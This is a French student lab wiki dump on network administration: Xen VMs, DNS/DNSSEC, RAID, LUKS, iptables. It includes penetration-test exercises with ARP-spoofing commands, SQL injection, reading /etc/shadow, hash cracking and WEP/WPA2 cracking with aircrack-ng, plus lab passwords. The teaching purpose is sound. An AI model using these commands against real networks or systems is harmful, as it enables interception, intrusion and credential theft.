Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
=== Partie 7 ===&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54861</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54861"/>
				<updated>2020-12-17T14:30:30Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Partie 7 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
